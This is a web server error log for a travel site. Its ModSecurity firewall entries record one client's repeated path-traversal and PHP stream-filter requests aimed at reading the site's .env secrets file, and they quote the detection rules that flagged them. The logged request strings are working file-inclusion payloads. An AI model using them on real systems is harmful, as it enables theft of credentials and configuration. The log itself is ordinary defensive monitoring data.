[Fri Jul 17 08:55:12.251970 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.251980 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.258174 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=oluBujFinwtwRNs8-kxsFv6DN1Wd26Lpx6AZkckhaQ_efaHoYCYXmlbjIVQIg-TOjUNXYbzp9u7sJv4qSI4Tu3MkCBfs2ZYFq-I7AYmQSy2mGgrDiHF3yPXUr_ZF2ZO8lkwspdzmLf7Entx-C6MRdn03gcHzpRjeV4GYnOKR3PYQdUl-fO6M2d5Z-L1yJMcHe78CuvBQHsJ_UOFpYKQQliEuSBo2rn7ALHyCP0mCdgNkApFiL007qHmP2qmZU-_ovWRGiHZWiVvtk0QaKLtKCwFP&junk=KX5S2SCYAO7L6PFRGPJFFAQUY7CF5PTDMY3PZTN66SGSTQY3UBWS7MIG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258240 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258289 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&anything=oluBujFinwtwRNs8-kxsFv6DN1Wd26Lpx6AZkckhaQ_efaHoYCYXmlbjIVQIg-TOjUNXYbzp9u7sJv4qSI4Tu3MkCBfs2ZYFq-I7AYmQSy2mGgrDiHF3yPXUr_ZF2ZO8lkwspdzmLf7Entx-C6MRdn03gcHzpRjeV4GYnOKR3PYQdUl-fO6M2d5Z-L1yJMcHe78CuvBQHsJ_UOFpYKQQliEuSBo2rn7ALHyCP0mCdgNkApFiL007qHmP2qmZU-_ovWRGiHZWiVvtk0QaKLtKCwFP&junk=KX5S2SCYAO7L6PFRGPJFFAQUY7CF5PTDMY3PZTN66SGSTQY3UBWS7MIGGPOPFSHEGXDMRE7AWFMLVKUBOI26..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258337 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&anything=olubujfinwtwrns8-kxsfv6dn1wd26lpx6azkckhaq_efahoycyxmlbjivqig-tojunxybzp9u7sjv4qsi4tu3mkcbfs2zyfq-i7aymqsy2mggrdihf3ypxur_zf2zo8lkwspdzmlf7entx-c6mrdn03gchzprjev4gynokr3pyqdul-fo6m2d5z-l1yjmche78cuvbqhsj_uofpykqqlieusbo2rn7alhycp0mcdgnkapfil007qhmp2qmzu-_ovwrgihzwivvtk0qakltkcwfp&junk=kx5s2scyao7l6pfrgpjffaquy7cf5ptdmy3pztn66sgstqy3ubws7miggpopfshegxdmre7awfmlvkuboi26..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258376 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258401 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258758 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.258889 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfgAAAB4"]
[Fri Jul 17 08:55:12.259528 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=X51OVPf76kPcV8HXojNidv3EohAITvoEBogdgeF55SgzK31Z9nFKYEh0Rhgl7fKVogsXhxs0O4vCIVGI-Aw1ypAEzvpza13iJp8i-pWAcaCCJYtHVQx7NKAMXxobHEKpa1xKwTeJvOgB-ruy8VzVPONwKVQivNWrLTt7PM2kvR4DBK3II8gsviwUACce6fEvzxF-beRN2NZXY-ee6tJBM68kYySHcY9BLOHi9K_kePyBxqNaLF4unjXDfJrtxdd3AccaXWZRyIgqmmLeN8_OgmlA&anything=OVXEYYYCLZOX4XOAWCYGO3DK53YG3C354B6NH6LMNNSAORFXLJTKCYCSQUZFGL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259574 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259632 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ref=X51OVPf76kPcV8HXojNidv3EohAITvoEBogdgeF55SgzK31Z9nFKYEh0Rhgl7fKVogsXhxs0O4vCIVGI-Aw1ypAEzvpza13iJp8i-pWAcaCCJYtHVQx7NKAMXxobHEKpa1xKwTeJvOgB-ruy8VzVPONwKVQivNWrLTt7PM2kvR4DBK3II8gsviwUACce6fEvzxF-beRN2NZXY-ee6tJBM68kYySHcY9BLOHi9K_kePyBxqNaLF4unjXDfJrtxdd3AccaXWZRyIgqmmLeN8_OgmlA&anything=OVXEYYYCLZOX4XOAWCYGO3DK53YG3C354B6NH6LMNNSAORFXLJTKCYCSQUZFGL7OPBWPR7JI6H3HBMVC2DTDJDAH..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259678 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ref=x51ovpf76kpcv8hxojnidv3eohaitvoebogdgef55sgzk31z9nfkyeh0rhgl7fkvogsxhxs0o4vcivgi-aw1ypaezvpza13ijp8i-pwacaccjythvqx7nkamxxobhekpa1xkwtejvogb-ruy8vzvponwkvqivnwrltt7pm2kvr4dbk3ii8gsviwuacce6fevzxf-bern2nzxy-ee6tjbm68kyyshcy9blohi9k_kepybxqnalf4unjxdfjrtxdd3accaxwzryigqmmlen8_ogmla&anything=ovxeyyyclzox4xoawcygo3dk53yg3c354b6nh6lmnnsaorfxljtkcycsquzfgl7opbwpr7ji6h3hbmvc2dtdjdah..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259707 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259744 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.259775 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.259866 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfgAAAB4"]
[Fri Jul 17 08:55:12.259890 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.259962 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.260133 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.260176 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MPgAAAAc"]
[Fri Jul 17 08:55:12.260209 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSfgAAAB4"]
[Fri Jul 17 08:55:12.261147 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.261258 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.261544 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-PAAAABw"]
[Fri Jul 17 08:55:12.270240 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=AtzU0H0VgqkPnl_SpLXzzsyk1IC_FU1rVBQ5RoJZC2Jr0ds1_lzyq19KVryxAsqhwv4HpvoLFxr_ezHVieUW8VblVLJCmOLMhFZah8h8pXbJkP7oduXKSbB4War2hHcUQSe5gSk8oqcUV4NaXPCQK34MzIOXXg9gKNP2kRhj8XC4ZTPs8n8v2BuYNXYTU_1Nu6bwaPR3d0WuDD5xL3RRS0OsWj5cy0b_8mzg0FWqx32heSguSi4wuf_7_KnPTCoRPPKIGnh4glm41vW1sQ_ZScJE&ts=EL5SP6BV6TKQPIMABIOKKMPRLX45GNPBPRKD73NBVOLOOQ4VUJMNESJBALSPQRD225XA7QAOSEI6CFHWCBZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.270306 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
[Fri Jul 17 08:55:12.270379 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.base64-encode/resource=../../.env&token=AtzU0H0VgqkPnl_SpLXzzsyk1IC_FU1rVBQ5RoJZC2Jr0ds1_lzyq19KVryxAsqhwv4HpvoLFxr_ezHVieUW8VblVLJCmOLMhFZah8h8pXbJkP7oduXKSbB4War2hHcUQSe5gSk8oqcUV4NaXPCQK34MzIOXXg9gKNP2kRhj8XC4ZTPs8n8v2BuYNXYTU_1Nu6bwaPR3d0WuDD5xL3RRS0OsWj5cy0b_8mzg0FWqx32heSguSi4wuf_7_KnPTCoRPPKIGnh4glm41vW1sQ_ZScJE&ts=EL5SP6BV6TKQPIMABIOKKMPRLX45GNPBPRKD73NBVOLOOQ4VUJMNESJBALSPQRD225XA7QAOSEI6CFHWCBZB7P4ZHGWZ6EVXLB3G5T6C3ZJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqAAAABk"]
